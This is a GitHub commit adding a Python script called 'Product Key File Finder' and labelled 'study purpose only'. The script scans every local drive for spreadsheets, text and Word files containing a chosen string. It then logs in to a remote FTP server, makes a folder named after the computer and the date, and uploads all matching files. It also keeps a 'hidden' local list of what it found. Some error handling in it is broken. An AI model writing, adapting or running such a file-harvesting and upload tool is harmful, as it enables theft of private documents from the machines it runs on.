Skip to content

Commit da5dd24

Browse files
authored
Create Product Key File Finder 5.2
local backup folder code typo fix
1 parent 1f48053 commit da5dd24

File tree

1 file changed

+248
-0
lines changed

1 file changed

+248
-0
lines changed

Product Key File Finder 5.2

Lines changed: 248 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,248 @@
1+
# The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is prohibited.
2+
import ctypes
3+
import datetime
4+
import ftplib
5+
import glob
6+
import os
7+
import string
8+
from urllib.request import urlopen, URLError
9+
import shutil
10+
import docx
11+
import openpyxl
12+
13+
errorCount = 0
14+
i = 0
15+
j = 0
16+
rvs = []
17+
host = "" # FTP Host URL
18+
ftp_id = "" # FTP CLIENT ID
19+
ftp_pw = "" # FTP CLIENT PASSWORD
20+
_ftp_root_folder_ = 'htdocs' # FTP root folder
21+
newdir = os.environ['COMPUTERNAME'] # FTP Main folder name
22+
ft = []
23+
todaysDate = str(datetime.datetime.today()) # FTP sub-folder name
24+
ftp = ftplib.FTP()
25+
26+
27+
def _rS_sign():
28+
print("|""---------"" ""------------")
29+
print("|"" ""|"" "" |")
30+
print("|"" ""|"" "" |")
31+
print("|""---------"" ""|")
32+
print("|""-"" ""------------")
33+
print("|"" ""-"" ""|")
34+
print("|"" ""-"" ""|")
35+
print("|"" ""-"" "" ------------")
36+
print("The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is "
37+
"prohibited.")
38+
return True
39+
40+
41+
def _rSAdmin_Check():
42+
try:
43+
is_admin = (os.getuid() == 0)
44+
except AttributeError:
45+
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
46+
return is_admin
47+
48+
49+
def _rSInternet_Check_(): # Internet Tester
50+
while True:
51+
try:
52+
urlopen('https://www.central16.in', timeout=1)
53+
return
54+
except URLError as e:
55+
print('URL Error: ', e.reason) # remove print is building exe
56+
pass
57+
58+
59+
def _RsBackupWriter(rrs, pp): # local backup (unfinished)
60+
global j
61+
print('BACKUP FOLDER STARTED /N rvs len : ', len(rrs))
62+
trs = open(pp, "a")
63+
for item in rrs:
64+
trs.write("%s\n" % item)
65+
print('Backup File Created')
66+
file1 = open(pp, "r")
67+
print(file1.read())
68+
file1.close()
69+
70+
71+
def _RsXlsx_(SS, CC): # XLSX Reader
72+
rs = openpyxl.load_workbook(CC, read_only=True, data_only=True)
73+
ws = rs.active
74+
for i in range(1, ws.max_row + 1):
75+
for j in range(1, ws.max_column + 1):
76+
if SS == ws.cell(i, j).value:
77+
print("Found in cell :", ws.cell(i, j), "File Location :", CC)
78+
rvs.append(CC)
79+
80+
81+
def _RsTxt_(SS, CC): # TXT Reader
82+
file1 = open(CC, 'r', encoding='UTF8', errors='ignore')
83+
flag = 0
84+
index = 0
85+
for line in file1:
86+
index += 1
87+
if SS in line:
88+
flag = 1
89+
break
90+
if flag != 0:
91+
print('String', SS, 'Found In Line: ', index, 'File Path: ', CC)
92+
rvs.append(CC)
93+
file1.close()
94+
95+
96+
def _RsDocx_(SS, CC): # DOCX Reader
97+
flag = 0
98+
index = 0
99+
doc = docx.Document(CC)
100+
for para in doc.paragraphs:
101+
index += 1
102+
if SS in para.text:
103+
flag = 1
104+
break
105+
if flag != 0:
106+
print('String', SS, 'Found In Line: ', index, 'File Path: ', CC)
107+
rvs.append(CC)
108+
109+
110+
def _RsDirCheck_(rsdc): # FTP Main Folder Checker
111+
x = 0
112+
for g in rsdc:
113+
if newdir in g:
114+
x = 1
115+
if x == 0:
116+
print(" New Directory created ---> ", newdir)
117+
ftp.mkd(newdir)
118+
119+
120+
def _RsTodayFolderCheck_(rstfc): # FTP Sub-Folder Checker
121+
x = 0
122+
for g in rstfc:
123+
if todaysDate in g:
124+
x = 1
125+
if x == 0:
126+
ftp.mkd(todaysDate)
127+
print("New Today's date folder created ---> ", todaysDate)
128+
129+
130+
def _Rs_ftp_COPY_(): # FTP Client connector
131+
print('uploading data...')
132+
port = 21
133+
ftp.connect(host, port)
134+
print(ftp.getwelcome())
135+
print("Logging in...")
136+
ftp.login(ftp_id, ftp_pw)
137+
ftp.cwd(_ftp_root_folder_)
138+
ftp.retrlines('LIST', ft.append)
139+
_RsDirCheck_(ft)
140+
ftp.cwd(newdir)
141+
ft.clear()
142+
ftp.retrlines('LIST', ft.append)
143+
_RsTodayFolderCheck_(ft)
144+
ftp.cwd(todaysDate)
145+
146+
147+
def _rS_FTP_file_transf(rvs): # FTP File uploader
148+
try:
149+
rs = 0
150+
print('Uploading Data...')
151+
while rs != len(rvs):
152+
filename = rvs[rs]
153+
file_name, file_extension = os.path.splitext(filename)
154+
_FTP_File_Name_ = os.path.basename(file_name) + file_extension
155+
_ftpNewFileNMCmd_ = "STOR %s" % _FTP_File_Name_
156+
with open(filename, "rb") as file:
157+
ftp.storbinary(_ftpNewFileNMCmd_, file)
158+
rs += 1
159+
print('Upload Complete !')
160+
ftp.dir()
161+
except e:
162+
print(e)
163+
164+
165+
def main():
166+
global errorCount
167+
if _rSAdmin_Check():
168+
print("admin access")
169+
else:
170+
print("No admin access")
171+
global i, j
172+
global rvs
173+
# val = input("Enter extension : ") #If specific extension only required uncheck and add val in _Rel_Path
174+
ff = input("Enter string : ")
175+
rs = ['%s:\\' % d for d in string.ascii_uppercase if os.path.exists('%s:\\' % d)]
176+
print('Active local drives ---> ', rs)
177+
FtypeXLSX = '.xlsx'
178+
FtypeTXT = '.txt'
179+
FtypeDOCX = '.docx'
180+
_Rel_Exp_ = '**/*'
181+
_Rel_Path_ = _Rel_Exp_
182+
# print('Selected file type = ', val)
183+
rss = []
184+
185+
bck_dir = "rrs" # LINE 154 - 166 REFERS LOCAL BACKUP (UNFINISHED)
186+
bck_file = "rrs.txt"
187+
print('Hidden folder named rss is created in first local drive from available drive list')
188+
pth = os.path.join(rs[0], bck_dir)
189+
if os.path.exists(pth): # this if will flush the old backup folder and re-create new backup folder
190+
shutil.rmtree(pth)
191+
os.makedirs(pth)
192+
print('Hidden folder path: ', pth)
193+
print('Hidden file text.txt is created in hidden folder rss')
194+
CN = os.path.join(pth, bck_file)
195+
print('Hidden file location: ', CN)
196+
file1 = open(CN, "a")
197+
file1.close()
198+
if _rS_sign():
199+
print('Below files are present in system: '"\n")
200+
while i != len(rs):
201+
os.chdir(rs[i])
202+
for file in glob.glob(_Rel_Path_, recursive=True):
203+
# print(file)
204+
completeName = os.path.join(rs[i], file)
205+
# print('File path: ', completeName)
206+
file_name, file_extension = os.path.splitext(completeName)
207+
if file_extension == FtypeXLSX:
208+
try:
209+
_RsXlsx_(ff, completeName)
210+
except e:
211+
errorCount += 1
212+
print('Error in reading file, File Path: ', completeName)
213+
if file_extension == FtypeTXT:
214+
try:
215+
_RsTxt_(ff, completeName)
216+
except PermissionError:
217+
errorCount += 1
218+
print('Admin Permission Required File Path: ', completeName)
219+
if file_extension == FtypeDOCX:
220+
try:
221+
_RsDocx_(ff, completeName)
222+
except e:
223+
errorCount += 1
224+
print('Error in reading file, File Path: ', completeName)
225+
rss.append(completeName)
226+
i += 1
227+
else:
228+
exit()
229+
print('System scan completed \n')
230+
# print(rss)
231+
print('Total File Scanned :', len(rss))
232+
print("Total file found: ", len(rvs))
233+
print("Total No of unreachable files (ACTION REQUIRED)", errorCount)
234+
if len(rvs) == 0:
235+
exit()
236+
print("\n", rvs)
237+
_Rs_ftp_COPY_()
238+
_rS_FTP_file_transf(rvs)
239+
print('calling backup')
240+
_RsBackupWriter(rvs, CN) # LOCAL BACKUP CREATOR
241+
# shutil.rmtree(pth) #FLUSH OLD BACKUP FILES (UNFINISHED) uncheck to delete local backup
242+
243+
244+
_rSInternet_Check_()
245+
if _rS_sign():
246+
main()
247+
else:
248+
print("Author sign missing")

0 commit comments

Comments
 (0)